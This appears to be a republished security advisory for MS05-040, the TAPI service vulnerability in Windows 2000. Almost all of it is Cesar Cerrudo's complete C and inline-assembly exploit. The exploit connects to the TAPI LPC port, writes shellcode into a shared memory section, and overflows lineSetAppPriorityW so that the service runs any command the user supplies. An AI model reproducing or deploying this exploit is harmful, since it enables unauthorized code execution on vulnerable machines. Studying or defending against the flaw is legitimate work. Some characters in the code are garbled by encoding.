A vulnerability exits in the Telephony Application Programming Interface (TAPI) service that could allow remote code execution. This exploit will remotely execute command on the machine running TAPI service vulnerable to MS05-040.

Credit:
The information has been provided by Cesar Cerrudo.
The related article can be found at: Vulnerability in Telephony Service Allows Remote Code Execution (MS05-040)

Details
Exploit:
// by Cesar Cerrudo - Argeniss - www.argeniss.com
//
// TAPI Vulnerability- MS05-040
//
// Should work on Win2k sp0,sp1,sp2,sp3,sp4 any language
// If Telephony Service is not running you can start it by net start "Telephony Service"

#include "windows.h"
#include "stdio.h"
#include "tapi.h"

typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING;

typedef struct LpcSectionMapInfo{
DWORD Length;
DWORD SectionSize;
DWORD ServerBaseAddress;
} LPCSECTIONMAPINFO;

typedef struct LpcSectionInfo {
DWORD Length;
HANDLE SectionHandle;
DWORD Param1;
DWORD SectionSize;
DWORD ClientBaseAddress;
DWORD ServerBaseAddress;
} LPCSECTIONINFO;

#define SHARED_SECTION_SIZE 0x1000

typedef struct _OBJDIR_INFORMATION {
UNICODE_STRING ObjectName;
UNICODE_STRING ObjectTypeName;
BYTE Data[1];
} OBJDIR_INFORMATION;

typedef struct _OBJECT_ATTRIBUTES {
ULONG Length;
HANDLE RootDirectory;
UNICODE_STRING *ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES;

#define InitializeObjectAttributes( p, n, a, r, s ) { \
(p)->Length = sizeof( OBJECT_ATTRIBUTES ); \
(p)->RootDirectory = r; \
(p)->Attributes = a; \
(p)->ObjectName = n; \
(p)->SecurityDescriptor = s; \
(p)->SecurityQualityOfService = NULL; \
}

WCHAR * uString=(WCHAR *) HeapAlloc(GetProcessHeap(), 0, 0x100);
LPVOID lpLocalAddress,lpTargetAddress;

DWORD ConnectToLPCPort(){

HMODULE hNtdll;
HANDLE hPort;
LPCSECTIONINFO sectionInfo;
LPCSECTIONMAPINFO mapInfo;
byte ConnectDataBuffer[100];
DWORD Size = sizeof(ConnectDataBuffer);
WCHAR * uString=L"\\RPC Control\\tapsrvlpc";//TAPI LPC port
DWORD i;
UNICODE_STRING uStr;

for (i=0;i<100;i++)
ConnectDataBuffer[i]=0x0;

hNtdll=LoadLibrary("ntdll.dll");

DWORD (WINAPI * pfnNtConnectPort)(HANDLE*, UNICODE_STRING * ,SECURITY_QUALITY_OF_SERVICE*, DWORD*,DWORD*,DWORD*,DWORD*,DWORD*);
pfnNtConnectPort= (DWORD (WINAPI *)(HANDLE* ,UNICODE_STRING *,SECURITY_QUALITY_OF_SERVICE*, DWORD*, DWORD*,DWORD*,DWORD*,DWORD*))GetProcAddress(hNtdll,"NtConnectPort");

DWORD (WINAPI * pfnCreateSection)(HANDLE* ,DWORD,DWORD,PLARGE_INTEGER, DWORD,DWORD,DWORD);
pfnCreateSection= (DWORD (WINAPI *)(HANDLE* ,DWORD,DWORD,PLARGE_INTEGER, DWORD,DWORD,DWORD))GetProcAddress(hNtdll,"NtCreateSection");

HANDLE hSection;
LARGE_INTEGER SecSize;
DWORD maxSize=0;

SecSize.LowPart=0x1000;
SecSize.HighPart=0x0;

SECURITY_QUALITY_OF_SERVICE qos;
DWORD qosSize=4;
qos.Length =(DWORD)&qosSize;
qos.ImpersonationLevel =(_SECURITY_IMPERSONATION_LEVEL)0x2;
qos.ContextTrackingMode =0x01000101;
qos.EffectiveOnly =0x10000;

//create shared section
pfnCreateSection(&hSection, SECTION_ALL_ACCESS,NULL, &SecSize,PAGE_READWRITE,SEC_COMMIT ,NULL);

memset(§ionInfo, 0, sizeof(sectionInfo));
memset(&mapInfo, 0, sizeof(mapInfo));

sectionInfo.Length = 0x18;
sectionInfo.SectionHandle =hSection;
sectionInfo.SectionSize = SHARED_SECTION_SIZE;
mapInfo.Length = 0x0C;

uStr.Length = wcslen(uString)*2;
uStr.MaximumLength = wcslen(uString)*2+2;
uStr.Buffer =uString;

//connect to LPC port
if (!pfnNtConnectPort(&hPort,&uStr,&qos,(DWORD *)§ionInfo,(DWORD *)&mapInfo,&maxSize,(DWORD*)ConnectDataBuffer,&Size)){
lpLocalAddress =(LPVOID)sectionInfo.ClientBaseAddress ;
lpTargetAddress =(LPVOID)sectionInfo.ServerBaseAddress ;
return 1;
}

return 0;
}

int main(int argc, char* argv[])
{

HMODULE hKernel;
DWORD iStrLen;
FARPROC pWinExec,pExitThread;
LPSTR sCommand;

if (!argv[1]) {
printf("\nUsage :\n TapiExploit \"command\" \n");
printf("\nExample :\n TapiExploit \"cmd.exe\" \n");
exit(0);
}

iStrLen=strlen(argv[1]);

if(iStrLen>=65){
printf("\n\"command\" must be less than 65 chars.\n");
exit(0);
}

sCommand=argv[1];

if (!ConnectToLPCPort()){ //connect to TAPI LPC port
printf("Could not connect to LPC port \nTAPI service couldn't be running\nTry again.");
exit(0);
}

hKernel=LoadLibrary("Kernel32.dll");

// pWinExec=GetProcAddress(hKernel,"WinExec");
pWinExec=GetProcAddress(hKernel,"CreateProcessA");
pExitThread=GetProcAddress(hKernel,"ExitThread");

CHAR sWinSta[]="WinSta0\\Default";

//copy shellcode
_asm {

pushad

lea esi, Shellcode
mov edi, lpLocalAddress
add edi, 0x10
lea ecx, End
sub ecx, esi
push esi
push edi
cld
rep movsb

pop edi
pop esi
push edi

lea ecx, CommandBuf
sub ecx, esi
add edi, ecx
mov esi, sCommand
mov ecx, iStrLen
rep movsb
mov [edi], 0x00

pop edi
mov esi, pWinExec
mov [edi+0x0a], esi

mov esi, pExitThread
mov [edi+0x0e], esi

//////////////

add edi, 0x2f0
lea esi, sWinSta
mov ecx, 0xf
cld
rep movsb

///////////////

jmp Done

Shellcode:
jmp Start
// this gets overwritten
mov ax,0xffff
mov ax,0xffff
mov ax,0xffff
mov ax,0xffff

CommandBuf: // this gets overwritten
mov dword ptr[eax],0x55555555
mov dword ptr[eax],0x55555555
mov dword ptr[eax],0x55555555
mov dword ptr[eax],0x55555555
mov dword ptr[eax],0x55555555
mov dword ptr[eax],0x55555555
mov dword ptr[eax],0x55555555
mov dword ptr[eax],0x55555555
mov dword ptr[eax],0x55555555
mov dword ptr[eax],0x55555555
mov dword ptr[eax],0x55555555

Start:
call getDelta

getDelta:
pop edx // Get shellcode/shared section pointer
push edx

/* push 0x1 // push 0x0 for hidden window
lea eax, [edx-0x47]
push eax // Command offset
call [edx-0x4f] // Call WinExec
*/

mov eax, edx
add eax,0x500

push eax //LPPROCESS_INFORMATION

add eax, 0x100
mov ebx, edx
xor bl, bl
lea ecx, [ebx+0x300]
lea ebx, [eax+0x8]
mov [ebx], ecx //set windows station and desktop
push eax //LPSTARTUPINFO
push 0x0
push 0x0
push 0x0
push 0x0
push 0x0
push 0x0

lea eax, [edx-0x47]
push eax // Command offset

push 0x0
call [edx-0x4f] // Call create process

pop edx
call [edx-0x4b] // Call ExitThread

End:

Done:
popad

}

LPSTR lpszAppFilename=(LPSTR )HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 0x21C) ;
LINEEXTENSIONID ExtensionID;

memset(lpszAppFilename,0x58,0x21A);

_asm{
pushad

mov ebx, lpszAppFilename
lea ebx, [ebx+0x216]
mov eax, lpTargetAddress
add eax, 0x10
mov [ebx], eax

popad
}

lineSetAppPriorityW((LPWSTR )lpszAppFilename,NULL, &ExtensionID,LINEREQUESTMODE_MAKECALL,NULL,NULL);

Sleep(1000);

printf("Command should have been executed ;)\n");

return 0;